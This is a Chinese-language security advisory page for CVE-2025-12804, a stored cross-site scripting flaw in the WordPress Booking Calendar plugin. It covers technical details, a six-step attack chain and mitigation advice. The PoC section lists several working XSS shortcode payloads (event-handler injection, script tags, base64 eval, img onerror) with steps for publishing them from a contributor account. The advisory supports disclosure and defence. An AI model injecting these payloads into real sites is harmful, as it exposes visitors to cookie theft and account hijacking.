IPBUF安全漏洞报告
English
CVE-2025-12804 CVSS 6.4 中危

CVE-2025-12804 WordPress Booking Calendar插件存储型XSS漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-12804
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Booking Calendar plugin for WordPress

相关标签

CVE-2025-12804WordPressBooking CalendarStored XSS跨站脚本攻击短代码漏洞认证用户漏洞WordPress插件漏洞存储型XSSCVSS 6.4

漏洞概述

CVE-2025-12804是WordPress Booking Calendar插件中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于插件的bookingcalendar短代码功能中,由于对用户提供的属性参数缺乏充分的输入清理和输出转义处理,导致具有contributor级别权限的认证用户可以在页面中注入任意Web脚本。攻击者利用此漏洞注入的恶意脚本会被永久存储在数据库中,当其他用户访问包含恶意代码的页面时,脚本将自动执行,可能导致会话劫持、敏感信息窃取、恶意重定向等安全问题。该漏洞影响插件10.14.6及以下所有版本,CVSS评分为6.4(中危),攻击向量为网络,认证要求为低权限,攻击复杂度低,无需用户交互即可实施攻击。

技术细节

该漏洞的根本原因在于Booking Calendar插件在处理shortcode属性时未进行安全的数据验证和转义处理。具体来说,当用户在WordPress页面或文章中插入[bookingcalendar]短代码时,插件会读取并使用用户提供的属性值,但这些属性值直接被嵌入到HTML输出中而未经过适当的sanitization或escaping处理。攻击者(具有contributor权限)可以构造包含恶意JavaScript代码的属性值,例如在属性中注入<script>标签或事件处理器(如onerror、onload等)。由于插件将用户输入存储在数据库中,这种恶意代码会被永久保存。当其他用户访问包含该短代码的页面时,恶意脚本会在其浏览器上下文中执行,绕过了同源策略的限制。攻击者可利用此漏洞窃取Cookies、会话令牌、执行任意操作或重定向用户到恶意网站。

攻击链分析

STEP 1
1. 侦察阶段
攻击者识别目标网站使用的WordPress Booking Calendar插件版本,确认版本号≤10.14.6
STEP 2
2. 获取访问权限
攻击者获取WordPress账户,权限要求为contributor级别或更高
STEP 3
3. 构造恶意短代码
攻击者构造包含XSS payload的bookingcalendar短代码,使用属性注入或事件处理器
STEP 4
4. 发布恶意内容
通过WordPress编辑器在页面或文章中插入恶意短代码并发布,payload存储到数据库
STEP 5
5. 触发执行
当普通用户访问包含恶意短代码的页面时,浏览器解析HTML并执行注入的JavaScript脚本
STEP 6
6. 恶意操作
攻击者通过JavaScript窃取用户会话Cookie、劫持账户、执行未授权操作或重定向用户

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress Booking Calendar Plugin XSS PoC --> <!-- Requires Contributor-level access or higher --> <!-- Method 1: Using shortcode with malicious attribute --> [bookingcalendar some_attr='" onmouseover="alert(document.cookie)" x="'] <!-- Method 2: Using script injection in shortcode attribute --> [bookingcalendar custom_field=<script>alert('XSS')</script>] <!-- Method 3: Using event handler injection --> [bookingcalendar title='Test" onfocus="eval(atob('YWxlcnQoJ1hTUycpOw=='))" autofocus="'] <!-- Method 4: Using img tag with onerror --> [bookingcalendar value='"><img src=x onerror=alert(document.domain)>'] <!-- WordPress Admin Panel Exploitation Method --> <!-- 1. Login to WordPress with Contributor account --> <!-- 2. Create or edit a post/page --> <!-- 3. Add the booking calendar shortcode with XSS payload --> <!-- 4. Save and publish the post --> <!-- 5. When any user views the page, the XSS will execute -->

影响范围

Booking Calendar plugin for WordPress <= 10.14.6

防御指南

临时缓解措施
立即将Booking Calendar插件升级到最新版本。如果暂时无法升级,可采取以下临时措施:1)限制用户的contributor及以上角色权限;2)在WAF(Web应用防火墙)中添加针对XSS攻击的规则;3)临时禁用或限制shortcode功能的使用;4)加强对发布内容的审核流程;5)使用WordPress安全插件进行实时监控和防护。同时建议检查是否存在已注入的恶意代码,并清理数据库中的相关记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表